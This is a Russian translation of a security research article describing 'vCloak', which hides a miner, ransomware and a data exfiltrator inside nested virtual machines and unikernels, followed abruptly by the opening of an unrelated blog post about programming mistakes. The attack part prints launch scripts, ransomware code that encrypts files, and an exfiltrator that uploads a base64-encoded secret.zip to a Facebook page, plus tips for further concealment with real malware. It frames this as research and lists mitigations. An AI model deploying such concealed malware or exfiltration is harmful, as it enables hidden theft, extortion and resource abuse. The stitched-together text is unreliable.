В качестве решения была введена аппаратная поддержка для чувствительных инструкций, это было сделано путем добавления еще одного кольца безопасности (также называемого «кольцо 1» или «режим администратора»). Широкое распространение такая практика получила в 2005 и 2006, когда Intel и AMD представили [VT-x](https://www.intel.com/content/www/us/en/virtualization/virtualization-technology/intel-virtualization-technology.html) и [AMD-V](https://www.amd.com/en/technologies/virtualization-solutions), соответственно. Изначально оптимизация была очень проста, и лишь немногие операции по виртуализации обладали аппаратной поддержкой. Но вскоре такая поддержка распространилась и на многие другие операции, в частности, на [виртуализацию блока управления памятью (MMU)](https://en.wikipedia.org/wiki/X86_virtualization#I/O_MMU_virtualization_(AMD-Vi_and_Intel_VT-d)). В настоящее время виртуализация с аппаратной поддержкой является предпочтительным решением, так как обладает эксплуатационными достоинствами и повышенным уровнем безопасности, а также позволяет удерживать на минимуме издержки по производительности – что бесценно в облачной среде.
Виртуализуй и защищай
---------------------
*Рисунок 4: Стек KVM-QEMU и соответствующий поток (изображение представлено пользователем Википедии [V4711](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine#/media/File:Kernel-based_Virtual_Machine.svg), по лицензии [Creative Commons BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/))*
Важнейший довод в пользу виртуализации – использовать ресурсы по максимуму, в то же время, обеспечивая защищенность ресурсов, и их изоляцию друг от друга. Современные гипервизоры, оснащенные новейшими программными и аппаратными возможностями, позволяют создавать разнообразные изолированные виртуальные машины; от классических полнофункциональных операционных систем (скажем, Ubuntu) до современных минимальных MicroVM, выполняющих легковесные ядра (напр., Firecracker + OSv). Изоляция ресурсов, например, памяти, устройств файловой системы и ядра защищает от вмешательства взломанной гостевой VM как хостовую виртуальную машину, так и другие гостевые виртуальные машины.
Например, если на гостевой VM был успешно выполнен эксплойт ядра, и злоумышленник получил на ней права администратора, он все равно не пробьется через изоляцию. Если он не располагает уязвимостью гипервизора, то хост-VM и другие гостевые VM вторжением затронуты не будут, поскольку у них и у взломанной машины ядра отличаются. Как и любая другая стратегия защиты, виртуализация не решает всех проблем; с виртуализацией связаны и присущие только ей уникальные векторы атак. Вот несколько примеров специфических атак, направленных именно на уязвимость виртуализации:
* Драйверы и совместное использование (Рисунок 5, Круг #1):
* Мгновенные снимки (Рисунок 5, Круг #2):
* Побег из песочницы (Рисунок 5, Круг #3):
* Типы уязвимостей:
Виртуализуй и атакуй
--------------------
Многие базовые принципы, благодаря которым виртуализация оказывается столь эффективным и универсальным защитным подходом, можно превратить в оружие. Сама идея не нова, исследования подобных угроз уже производились. Можно упомянуть программу «[Bashware](https://research.checkpoint.com/2017/beware-bashware-new-method-malware-bypass-security-solutions/)«, показавшую, как WSL (виртуализованное решение для выполнения подсистемы Linux под Windows) может быть взято на вооружение для сокрытия вредоносов от всех современных защитных механизмов.
14 мая 2020 года эта теория как следует подтвердилась на практике, когда новости заполонили сообщения о новом штамме-вымогателе под названием «[RagnarLocker](https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/).» Его жертвами стали крупные компании, работающие в сфере игр, энергетики и алкоголя. Небольшой VirtualBox, доверенный и снабженный цифровой подписью, выполнял маленькую виртуальную машину Windows XP (менее 500 мб), что позволяло ему тайно зашифровать и выудить данные с машины жертвы. Позже в том же году почти такая же стратегия была применена картелем «[Maze](https://www.netsec.news/maze-ransomware-now-uses-virtual-machines-to-evade-endpoint-defenses/#:~:text=Maze%20Ransomware%20now%20Uses%20Virtual%20Machines%20to%20Evade%20Endpoint%20Defenses,-Home%20%C2%BB%20Cybersecurity%20Alerts&text=The%20operators%20of%20Maze%20ransomware,operators%20of%20Ragnar%20Locker%20ransomware.)«.
Во всех атаках, рассмотренных выше, использовался VirtualBox, **и в качестве контейнера для вредоносов он довольно тяжеловесен. Кроме того, он не опирается на преимущества виртуализации с аппаратной поддержкой**. Прежде, чем углубиться в тему, давайте подробнее рассмотрим, какими качественными аспектами виртуализации может воспользоваться злоумышленник:
* **Доверенный гипервизор** – если гипервизор является доверенным, то выполняющий его гость также является доверенным
* **Бэкдор** – злоупотребляя доверительным статусом, который дает гипервизор, можно скомпрометировать данные хоста, поделившись файлами, каналами данных или совместно используя уязвимости гипервизора
* **Практическая невидимость** — современные механизмы защиты не видят внутреннего состояния VM
* **Присущее технологии «закрепление SSL-сертификата»** – на сертификаты MicroVM не влияет конфигурация хоста, и они скрыты от нее (поэтому они ускользают от анализа трафика с применением SSL MITM)
* **Присущее технологии камуфлирование** – вся ОС выглядит как единственный процесс, поэтому заглянуть внутрь виртуальной машины затруднительно даже с благими намерениями, тем более, что эту маскировку можно даже усилить
* **Полностью контролируется атакующим** — упрощает разработку, поскольку полезная нагрузка подразумевает высокие привилегии
* **Портируемость –** высокая портируемость, поскольку вся полезная нагрузка действует поверх виртуализованного самодостаточного окружения
* **Персистентность** – планировщики операционной системы могут поднимать виртуальные машины, и состояние можно с легкостью сохранять (»[ShadowBunny](https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/)«)
* **Эффект неожиданности –**такой вектор атаки до сих пор воспринимается в новинку, и пока не очень хорошо исследован
При крупном вторжении от виртуализации одна польза. Предложения можно суммировать в виде доверенной единицы выполнения и осуществлять с их помощью операции, в ином контексте вызывавшие бы подозрения, например, без лишнего шума выполнять вредоносный код и красть данные. Такие выгоды сохраняются потому, что технология виртуализации по-прежнему достаточно нова, а такой «темный» аспект виртуализации пока не получает должного внимания. Как было упомянуто во введении к этому посту, здесь мы попытаемся подсказать вам информацию и инструменты, позволяющие защититься от таких угроз. Для этого рассмотрим проблему с точки злоумышленника и пошагово разработаем доказательство осуществимости такого вторжения через виртуализацию.
Виртуализация с аппаратной поддержкой и KVM
-------------------------------------------
Диверсионный функционал в нашем учебном проекте реализуется во многом при помощи гипервизора, находящегося как в пространстве ядра, так и в пользовательском пространстве. В этом исследовании мы экспериментировали с некоторыми свободными реализациями; подробный анализ их внутреннего устройства выходит за рамки этого поста.
Проще говоря, виртуализация с аппаратной поддержкой возможна благодаря двум дополнительным режимам работы процессора (привилегии администратора для VMM и их отсутствия для гостя), а также особым инструкциям Intel, написанным на ассемблере (для эффективного перехвата), которые в большинстве своем выполняются ядром. Вот несколько примеров:
Режим администратора
* VMXOFF, VMXON
* VMWRITE и VMREAD
Непривилегированный (гостевой) режим
* VMLUANCH и VMRESUME
VMLUANCH устроен немного иначе, так как может выполняться с гостевой VM, чтобы уступать контроль ядру, либо переключаясь на ядро при помощи прерывания (о чем мы уже говорили во введении) или VMEXIT. Задача его напарника из пользовательского пространства – выделять все структуры памяти, определять обработчики VMEXIT в соответствии с различными нуждами VMEXIT и прикреплять другие эмулированные/виртуализованные ресурсы.
К счастью, для тех, кто не хочет все строить с нуля, в современном ядре Linux поддерживается KVM (kvm.ko); этот модуль ядра фактически превращает ядро Linux в гипервизор. KVM предоставляет возможности Intel VT-x через интерфейс ioctl (2). Также KVM активно использует встроенные возможности ядра Linux для управления песочницами, которые (в усиленной версии) более известны как виртуальные машины.
История атаки
-------------
Такая атака подразумевает привилегированное использование скомпрометированной хост-машины с Ubuntu, на которой включена функция VT-x. Атака использует вредоносные информационные нагрузки (майнеры и вымогатели), незаметно выполняясь на скомпрометированном хосте, прикрытая самодельной виртуальной маскировкой (Рисунок 6)
1. Привилегированный процесс ветвит и распаковывает «vCloak1» в дочерний процесс (предполагается)
2. «vCloak1» конфигурирует и выполняет уровень (L1) нашего камуфляжа, виртуальную машину Ubuntu Minimal на QEMU.
3. Из Ubuntu «vCloak2» конфигурирует и выполняет уровень 2 (L2) нашего камуфляжа, это три приложения OSv (будет объяснено ниже…):
Время засучить рукава! Для большей удобочитаемости мы пропустим некоторые фрагменты кода, а другие подробно разберем.Приглашаем вас полностью исследовать код к этой реализации, а также связанные с ним инструменты и информацию; все это лежит в репозитории, ссылка на который дана ниже.
****
*Рисунок 5: Ход атаки*
Подготовка камуфляжа для уровня 1
---------------------------------
Построим vCloak1, который позволит нам выполнить первый уровень нашей маскировки. Воспользуемся минимальной виртуальной машиной под Ubuntu (мы могли бы с тем же успехом [скомпилировать Ubuntu для firecracker](https://github.com/bkleiner/ubuntu-firecracker)) с QEMU. Этот этап реализован при помощи vcloak1.sh, который автоматически выполняется предположительно привилегированной точкой входа:
```
attacker@host:~$ git clone https://github.com/ch-mk/vCloak.git
attacker@host:~$ cd PoC
attacker@host:~/PoC$ cat vcloak1.sh
# запускаем демон virtio, чтобы предоставить файлы хоста
virtiofsd --socket-path=/var/run/vm001-vhost-fs.sock -o source=/root/supersecret \ # запускаем минимальный образ Ubuntu
qemu-system-x86_64 \
-chardev socket,id=char0,path=/var/run/vm001-vhost-fs.sock \
-device vhost-user-fs-pci,chardev=char0,tag=myfs \
-object memory-backend-memfd,id=mem,size=4G,share=on \
-numa node,memdev=mem \
attacker@host:~/PoC$ ./vcloak1.sh # фактическое выполнение осуществляется автоматически, привилегированной точкой входа
```
*Листинг 1: Строим уровень 1 виртуального камуфляжа, минимальный вариант Ubuntu на QEMU с virtiofs*
В этот момент мы достигли первой границы виртуализации. Как только vCloak1 закгрузится, он выполняет vCloak2, конфигурирующий и выполняющий второй уровень нашего камуфляжа.
Подготовка камуфляжа для уровня 2
---------------------------------
vCloak2 выполняет ядро VT-x с минимальной системной обвязкой (Unikernel) изнутри виртуапьной машины. Таким образом, наша гостевая виртуальная машина с уровня 1 также должна поддерживать KVM и VT-x (это легко проверить; см. листинг 2), поэтому он может служить в качестве отдельной хост-машины. Такая рекурсивная возможность известна под названием «Вложенная виртуализация».
```
attacker@vcloak1:~/PoC$ lsmod | grep kvm # требуется поддержка KVM
kvm_intel 282624 0
kvm 663552 1 kvm_intel
```
*Листинг 2: Проверяем KVM и собираем уровень 2 нашего камуфляжа*
Второй уровень нашего камуфляжа реализован в виде скрипта vcloak2.py, который автоматически выполняется задачей crontab. Он выполняет три разные виртуальные машины с технологией firecracker, которые могут коммуницировать через разделяемый сокет. На каждой VM выполняется ядро Unikernel, передаваемое в виде «kernel.elf,» с единственным процессом, выполняемым из корневой директории (»/») файловой системы, передаваемой как «fs.img.» Чуть ниже мы объясним природу этих процессов, но пока просто опишем начальную настройку и выполнение типичной виртуальной машины с технологией firecracker.
```
attacker@vcloak1:~$ cat vcloak2.py # фактическое выполнение происходит автоматически при помощи crontab
def main(options):
# Проверяем, установлен ли firecracker is installed
dirname = os.path.dirname(os.path.abspath(__file__))
firecracker_path = find_firecracker(dirname, options.arch)
# Firecracker установлен, так что начнем
print_time(«Start»)
socket_path = '/tmp/firecracker.socket'
if options.api:
firecracker = start_firecracker(firecracker_path, socket_path)
# Готовим аргументы, которые будем передавать при создании инстанса виртуальной машины
kernel_path = options.kernel
if not kernel_path:
kernel_path = os.path.join(dirname, '../build/release/kernel.elf')
qemu_disk_path = options.image
if not qemu_disk_path:
qemu_disk_path = os.path.join(dirname, '../build/release/fs.img')
raw_disk_path = disk_path(qemu_disk_path)
cmdline = options.execute
if not cmdline:
with open(os.path.join(dirname, '../build/release/cmdline'), 'r') as f:
cmdline = f.read()
if options.arch == 'aarch64':
cmdline = «console=tty --disable_rofs_cache %s» % cmdline
else:
cmdline = «--nopci %s» % cmdline
client.configure_machine(options.vcpus, memory_in_mb)
print_time(«Configured VM»)
client.add_disk(raw_disk_path)
print_time(«Added disk»)
if options.networking:
client.add_network_interface('eth0', 'fc_tap0')
client.create_instance(kernel_path, cmdline)
print_time(«Created OSv VM with cmdline: %s» % cmdline)
if not options.api:
if options.verbose:
print(client.firecracker_config_json())
firecracker, config_file_path = start_firecracker_with_no_api(firecracker_path, client.firecracker_config_json())
else:
client.start_instance()
print_time(«Booted OSv VM»)
attacker@vcloak1:~$ python vcloak2.py # actual execution is automatic by crontab
attacker@vcloak1:~$ sudo apt update
```
*Листинг 3: vcloak2.py выполняет три контейнера VT-x*
Пока все нормально, но что же выполняют эти инстансы firecracker? Для затравки в истории об атаке уже упоминалось, что они выполняют приложения [OSv](https://github.com/cloudius-systems/osv). OSv – это свободное универсальное модульное ядро вида **unikernel**, рассчитанное на безопасную поддержку единичного **немодифицированного приложения Linux** в виде microVM поверх гипервизора, в результате чего получается **минимальное ядро, совместимое с** **Linux на уровне двоичного кода.**Такие решения как OSv – это, по сравнению с MicroVM, уже следующий шаг на пути к минимализму; когда по ядру unikernel создается на каждое приложение, получается приложение OSv с ядром, ужатым до сухого остатка.
Рассмотрим, как просто собрать приложение OSv из нативного кода на C++:
```
attacker@vcloak1:~$ sudo apt update
attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev
attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository
attacker@vcloak1:~$ cd osv
attacker@vcloak1:~/osv$ git submodule update --init –recursive # install # install examples and other dependencies
attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app
total 40
-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello
-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c
-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile
-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py
-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README
-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest
attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code
#include
int main(){
printf(«Hello from C code\n»);
return 0;
}
attacker@vcloak1:~/osv$ ./scripts/build image=native-example #let’s wrap out app with OSv unikernel
attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /hello
Hello from C code
```
*Листинг 4: Сборка и запуск простой программы на C, где OSv служит оберткой*
Аналогично, можно собрать приложение OSv и на Python:
```
In a very similar way we can build an OSv app with python:
attacker@vcloak1:~/osv$ ./scripts/build image=python2x
attacker@vcloak1:~/osv$ ./scripts/run.py
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)
[GCC 9.3.0] on linux2
Type «help», «copyright», «credits» or «license» for more information.
>>>
```
*Листинг 5: Собираем и запускаем простую программу на python с OSv в качестве обертки*
Как было кратко продемонстрировано выше, OSv – это мощный и легкий способ превращать обычные приложения в приложения Unikernel. В комбинации с микро-виртуальной машиной, например, с Firecracker (или даже с еще более мелкими вариантами аппаратной виртуализации), создается минимальная и при этом высокопроизводительная виртуализованная полезная нагрузка. Подробнее об этом отличном продукте рассказано на странице [OSv в GitHub](https://github.com/cloudius-systems/osv). На данном этапе все, что нам остается доделать – написать нужный код на python для каждого из трех приложений OSv, как мы и обещали.
*Рисунок 6: Вложенная виртуализация порой бывает немного запутанной*
Вложенная виртуализация
-----------------------
Мы рассмотрели, как уровень за уровнем создавался наш камуфляж, и проследили развертывание вредоносного ПО от первого привилегированного выполнения до создания множества минимальных ядер Unikernel, образующих второй уровень нашего камуфляжа. Эти ядра Unikernel (уровень 2) виртуализованы с применением VT-x, KVM и firecracker поверх другой виртуальной машины с Ubuntu (уровень 1), хотя, firecracker также может использоваться на этом уровне.
Такое «зачаточное» состояние достижимо благодаря вложенной виртуализации – возможности, поддерживаемой KVM. Такая виртуализация позволяет гостевой машине выступать в качестве хост-машины. В этой статье я весьма вольно употреблял термин «уровень камуфляжа», поэтому смысл данного термина, возможно, будет понятнее, е6сли сравнить его с терминами KVM для описания вложенной виртуализации (т.e., L1 – это виртуальная машина, исполняемая с физического хоста; L2 – это виртуальная машина, выполняемая с гостевой машины L1).
### Создание майнера
В ходе описываемых исследований предпринималось множество попыток маскировки, создавались как опенсорсные майнеры, пригодные для реального использования, так и минималистичные инструменты такого рода, которые могут послужить только в качестве доказательства осуществимости. Для простоты картины быстро презентуем [опенсорсный майнер, разработанный subhan-nadeem](https://github.com/subhan-nadeem/bitcoin-mining-python):
```
attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py # выполнение происходит автоматически
import hashlib
def get_sha_256_hash(input_value):
return hashlib.sha256(input_value).hexdigest()
def block_hash_less_than_target(block_hash, given_target):
return int(block_hash, 16) < int(given_target, 16)
# данные о первичном блоке (корень дерева Меркла, описывающего транзакции, метка времени, версия клиента, хеш предыдущего блока)
blockData = \
'01000000000000000000000000000000000000000000000000000000000000000000000' \
'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \
'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \
'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \
'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \
'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \
'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \
'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \
.encode()
# Исходная цель – так будет проще всего, если я когда-нибудь соберусь намайнить блок биткойна
target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'
solution_found = False
block_data_hexadecimal_value = int(blockData, 16)
nonce = 0
while not solution_found:
block_data_with_nonce = block_data_hexadecimal_value + nonce
# Найти двойной хеш
first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())
second_hash = get_sha_256_hash(first_hash.encode())
print('Nonce: ' + str(nonce))
print('Block hash:')
print(second_hash)
print('Is the block hash less than the target?')
solution_found = block_hash_less_than_target(second_hash, target)
print(solution_found)
if not solution_found:
nonce += 1
```
*Листинг 6: Фрагменты кода из майнера*
Создаем код вымогателя
----------------------
Точно, как и в случае майнеров, на роль вымогателей было протестировано много решений. Но ради ясности мы рассмотрим [PoC-версию вымогателя под авторством guihermej](https://github.com/guilhermej/py_ransomware/blob/master/py_ransom.py):
```
attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически
# Открыть файл
file_name = «foto.jpg»
file = open(file_name, «rb»)
file_data = file.read()
file.close()
# Удалить файл
#os.remove(file_name)
# Зашифровать данные файла (при помощи AES)
key = «0123456789abcdef» # 16-байтный ключ – замена для вашего ключа
aes = pyaes.AESModeOfOperationCTR(key)
crypto_data = aes.encrypt(file_data)
# Сохранить файл
new_file_name = file_name + «.pyransom» # Путь, чтобы сбросить файл
new_file = open(new_file_name, 'wb')
new_file.write(crypto_data)
new_file.close()
```
*Листинг 7: Фрагменты кода из вымогателя*
Создание извлекателя
--------------------
Задача этого компонента проста. Он слушает ввод, поступающий либо от майнера, либо от вымогателя, после чего в безопасном виде отсылает его доверенным API (напр., Facebook). В данной части мы получаем так называемое «свободное закрепление SSL-сертификата». Опять же, стоящие перед нами задачи мы решим, воспользовавшись силой опенсорса. На этот раз мы базируем наш код на проекте с [GitHub от zone13](https://github.com/zone13/python_facebook).
```
attacker@vcloak1:~$ cat apps/python-ransom/ransom.py # выполнение происходит автоматически
import facebook, time, base64, textwrap
def main():
cfg = {
# Заполняем идентификатор страницы и обращаемся к токену, приведенному ниже
«page_id» : «»,
«access_token» : «»
}
api = get_api(cfg)
# Считываем zip-файл как двоичные данные и зашифровываем их при помощи base-64
msg = file_read_into_array()
# Вычисляем, сколько постов нужно сделать
chunks = (len(msg) / float(50000))
if isinstance(chunks, float) or (a == 0):
chunks = int(chunks) + 1
# Дробим данные base-64 на фрагменты по 50 000 символов каждый
file_array = textwrap.wrap(msg, 50000)
# Публикуем данные на странице Facebook
for i in range(chunks):
status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])
time.sleep(0.5)
# Функция для чтения zip-файла и кодировки base-64
def file_read_into_array():
with open(«secret.zip», «rb») as f:
a = f.read()
encoded_data = base64.encodestring(a)
return encoded_data
# Основная функция для публикации данных на Facebook
def get_api(cfg):
graph = facebook.GraphAPI(cfg['access_token'])
resp = graph.get_object('me/accounts')
page_access_token = None
for page in resp['data']:
if page['id'] == cfg['page_id']:
page_access_token = page['access_token']
graph = facebook.GraphAPI(page_access_token)
return graph
if __name__ == «__main__»:
main()
```
*Листинг 8: Фрагменты кода Извлекателя*
Повторение и анализ
-------------------
Повторим, что нам удалось. В качестве доказательства осуществимости мы написали вредоносный код, который майнит, шифрует и выуживает данные из пораженного хоста. Первичная полезная нагрузка образует первый уровень камуфляжа (или виртуализации) при помощи микро-виртуальной машины на основе Ubuntu, которой, предположительно, доверяет хост.
Отсюда и в дальнейшем память всех различных процессов будет представлена как единый сплющенный двоичный блоб. Все вызовы API и экосистема ОС, заключенные в MicroVM, извне невидимы. На сертификатах MicroVM не отражается конфигурация хоста, эти сертификаты скрыты от хоста (в частности, это позволяет спрятаться от инструментов анализа трафика, воспользовавшись защитой SSL MITM).
*Рисунок 7: Программный стек vCloak; цветными линиями обозначены границы отдельных областей виртуализации*
Как только MicroVM завершит процесс загрузки, она загрузит три разных ядра Unikernel, основанных на VT-x и Firecracker, и в этих ядрах будет содержаться вредоносная логика. При помощи таких Unikernel-ядер в модель памяти вносится еще один уровень хаоса, не только потому, что здесь добавляется еще один слой виртуализации, но и потому, что у ядра Unikernel пространство пользователя и пространство ядра не отделены друг от друга. Из-за всего этого коверкания серьезно усложняется работа оператора первой хост-машины, который обнаружил первый слой камуфляжа и хочет обратить вспять его логику.
Получившееся в результате многоуровневое замаскированное вредоносное ПО не только коварно как никогда, но и имеет минимальный размер, и поэтому отлично портируется. Поскольку виртуальная машина предоставляет все окружение, снижается вероятность отказа из-за вычислимости или проблем с зависимости.
Дальнейшие исследования и оптимизация
-------------------------------------
*Рисунок 8: Таблица для самопроверки*
В вышеприведенной таблице показаны различные приемы (столбцы с рисунка 9), организованные по признаку аспектов атаки и целесообразности того или иного вектора атаки (первая строка с рисунка 9). Приемы, рассмотренные в этой статье, перечислены в зеленых клетках, а другие ракурсы, также затронутые нами в ходе исследования – в белых клетках. Прежде, чем мы попытаемся дать некоторые советы и завершить этот пост, давайте уделим внимание «укреплению» нашего вредоносного ПО с применением приемов, упомянутых в белых клетках вышеприведенной таблицы (рисунок 8).
* **Извлекатель для совместно используемой памяти** – можно настроить извлекатель так, чтобы он делился памятью с вредоносами и тем самым не так сильно светил разделяемые данные.
* **Извлекатель для совместно используемой сети** – в некоторых случаях бывает более рационально воровать данные через какой-нибудь сетевой протокол, поскольку за ним могут следить не столь пристально.
* **Вредоносы для промышленного использования** – мы экспериментировали с реальными вредоносами, например, xmrig и GonnaCry, и оба можно обернуть в виртуалку без труда.
* **Среда времени исполнения** – как vCloak1, так и vCloack2, могут быть представлены в виде минимальной VM, MicroVM, Unikernel или просто крошечного загружаемого ELF, если вложенная виртуализация не требуется. Весь этот уровень опционален.
* **Гипервизор пользовательского пространства** – На протяжении всего этого экскурса используется firecracker, но можно реализовать более компактный гипервизор для пользовательского пространства, чтобы еще сильнее ужать полезную нагрузку.
* **Гипервизор пространства ядра** – может быть подготовлена собственноручно сделанная альтернатива KVM, которая позволила бы ужать полезную нагрузку и расширить возможности блокировки, но это уже тема для отдельной статьи alternative can be produced to reduce payload size and add cloaking abilities.
* **Укрепление**– Можно сделать камуфляж еще эффективнее, воспользовавшись новыми возможностями, например, MAP\_EXCLUSIVE, SGX или SVE\SME для более полного сокрытия памяти.
* **Расширенная область атаки на хост** – такими возможностями мы не пользуемся, поскольку их обсуждение выходит за рамки этой статьи. Правда, известны уязвимости, которые позволили бы сделать камуфляж еще эффективнее.
Наконец, нельзя не упомянуть: хотя это и не относится к целям данного исследования, выяснилось, что с гипервизорами тем более удобно работать, как эти программы популярны, в них известно много уязвимостей, а частота обновлений гипервизоров варьируется. Можно воспользоваться уязвимостями гипервизоров для повышения эффективности камуфляжа. Гонка между злоумышленниками и охранителями сетей – бескомпромиссная и непрестанная. Надеемся, что информация, изложенная в этой статье, немного поможет читателям войти в тему.
Инструменты
-----------
Занимаясь исследованием виртуализации, я создал несколько инструментов, которые помогли мне в этих изысканиях:
* Данная пилотная реализация
* Список полезных ссылок
* Репозиторий: <https://github.com/ch-mk/vCloak.git>
Устранение угрозы
-----------------
Вселенная виртуальных машин и операционных систем стремительно расширяется, новые программные и аппаратные возможности появляются одновременно. Исследование этих новых возможностей с точки зрения развертывания вредоносного ПО может помочь командам, занимающимся обеспечением информационной безопасности
Устранять некоторые вредоносные варианты поведения, замаскированные при помощи виртуализации, весьма сложно, поскольку в виртуализованном пространстве ничего не видно. Есть некоторые способы подсвечивать эти слепые пятна, но в настоящее время отсутствует стандартное или нативное решение такого рода. Правда, если исследовать всю цепь атаки, то можно обнаружить некоторые очень эффективные контрмеры, позволяющие противодействовать злонамеренной виртуализации.
Что можно сделать/доступные ресурсы:
* Поставить гипервизор под строгий контроль RBAC/MAC (реализация для [Citrix](https://docs.citrix.com/en-us/citrix-hypervisor/users/rbac-overview.html#:~:text=Role%20Based%20Access%20Control%20(RBAC,a%20named%20set%20of%20permissions).))
* Сократить площадь атаки, отключив избыточные возможности (напр., избыточное совместное использование, [в общем виде объясняемое в проекте Xen](https://www.linux.com/news/how-shrink-attack-surfaces-hypervisor/))
* Обнаружение аномалий на хосте (есть [интересное академическое исследование на эту тему](https://www.researchgate.net/publication/261466126_Detecting_anomalies_in_IaaS_environments_through_virtual_machine_host_system_call_analysis), выполненное Кингом Абдулализом и Стивеном Уолтхьюзеном)
Частично доступно или недоступно:
* Видимость внутри состояния виртуальной машины
* Создание монитора виртуальной машины
* Выявление аномалий при потреблении ресурсов хоста виртуальной машиной
Заключение
----------
Виртуализация – это круто! На основании абстрагирования, обеспечиваемого при помощи виртуализации, построены многие инновационные вещи, в частности, облака, машины конечных точек и даже новейшие автомобили. Виртуализация усиливает производительность и безопасность вообще, но у нее есть и темная сторона. Как показали недавние реальные атаки, и как рассмотрено в этой статье, злоумышленник может обратить себе на пользу многие из возможностей виртуализации. Использование новейших технологий, в частности, VT-x и минималистичных песочниц, позволяет сделать виртуализацию еще более малозаметной.
Назначение vCloak – послужить практичным введением в проблему того, как виртуализация может использоваться для незаметного внедрения вредоносного ПО, чтобы пользователи были осведомлены в угрозах такого рода и могли от них защититься.
Также в статье упомянуты некоторые методы устранения таких угроз, доступные сегодня, плюс решения, планируемые в будущем. Важная возможность, которую следовало бы реализовать, чтобы защита от вредоносной виртуализации стала более подъемной задачей – повысить прозрачность процессов, творящихся в виртуальной машине, а также позаботиться об эффективной нейтрализации угроз. Индустрия киберзащиты развивается и идет в ногу с современными решениями для виртуализации, но сейчас самое время остерегаться подобных угроз и заблаговременно выстраивать защиту от них.
---
Облачные серверы от [Маклауд](https://macloud.ru/?partner=4189mjxpzx) быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
[](https://macloud.ru/?partner=4189mjxpzx&utm_source=habr&utm_medium=perevod&utm_campaign=oleg) | https://habr.com/ru/post/559730/ | null | ru | null |
# Самые позорные ошибки в моей карьере программиста (на текущий момент)
Как говорится, если тебе не стыдно за свой старый код, значит, ты не растешь как программист — и я согласна с таким мнением. Я начала программировать для развлечения более 40 лет назад, а 30 лет назад и профессионально, так что ошибок у меня набралось *очень много*. Будучи профессором информатики, я учу своих студентов извлекать уроки из ошибок — своих, моих, чужих. Думаю, пришло время рассказать о моих ошибках, чтобы не растерять скромность. Надеюсь, кому-то они окажутся полезны.
Третье место — компилятор C от Microsoft
========================================
Мой школьный учитель считал, что «Ромео и Джульетту» нельзя считать трагедией, потому что у героев не было трагической вины — просто они вели себя глупо, как и положено подросткам. Тогда я с ним не согласилась, но сейчас вижу в его мнении рациональное зерно — особенно в связи с программированием.
К моменту окончания второго курса MIT я была молода и неопытна, как в жизни, так и в программировании. Летом я проходила практику в Microsoft, в команде компилятора C. Поначалу я занималась рутиной вроде поддержки профилирования, а потом мне доверили работу над самой веселой (как я считала) частью компилятора — оптимизацией бэкенда. В частности, я должна была улучшить код x86 для операторов ветвления.
Настроенная написать оптимальный машинный код для каждого возможного случая, я бросилась в омут с головой. Если плотность распределения значений была высока, я вносила их в [таблицу переходов](https://en.wikipedia.org/wiki/Branch_table). Если у них имелся общий делитель, я использовала его, чтобы сделать таблицу плотнее (но только если деление можно было выполнить при помощи [битового сдвига](https://softwareengineering.stackexchange.com/questions/209678/why-does-division-and-multiplication-by-2-use-the-shift-operator-rather-than-div)). Когда все значения представляли собой степени двойки, я проводила еще одну оптимизацию. Если множество значений не удовлетворяло моим условиям, я разбивала его на несколько оптимизируемых случаев и использовала уже оптимизированный код.
Это был кошмар. Через много лет мне рассказывали, что унаследовавший мой код программист меня ненавидел.
### Вынесенный урок
Как пишут Дэвид Паттерсон и Джон Хеннесси в книге «Архитектура компьютера и проектирование компьютерных систем», один из главных принципов архитектуры и разработки в том, чтобы в общих случаях все работало как можно быстрее.
> Ускорение общих случаев повысит производительность более эффективно, чем оптимизация редких случаев. Как ни иронично, общие случаи часто проще редких. Этот логичный совет подразумевает, что вы знаете, какой случай считать общим — а это возможно только в процессе осторожного тестирования и измерения.
В свою защиту могу сказать, что я пыталась разобраться, как выглядели операторы ветвления на практике (например, сколько существовало веток и как были распределены константы), но в 1988 году эта информация была недоступна. Тем не менее, мне не стоило добавлять специальные случаи всякий раз, когда действующий компилятор не мог сгенерировать оптимальный код для придуманного мной искусственного примера.
Мне нужно было позвать опытного разработчика и вместе с ним подумать, какие были общие случаи, и разобраться конкретно с ними. Я написала бы меньше кода, но это даже хорошо. Как писал основатель Stack Overflow Джефф Этвуд, злейший враг программиста — сам программист:
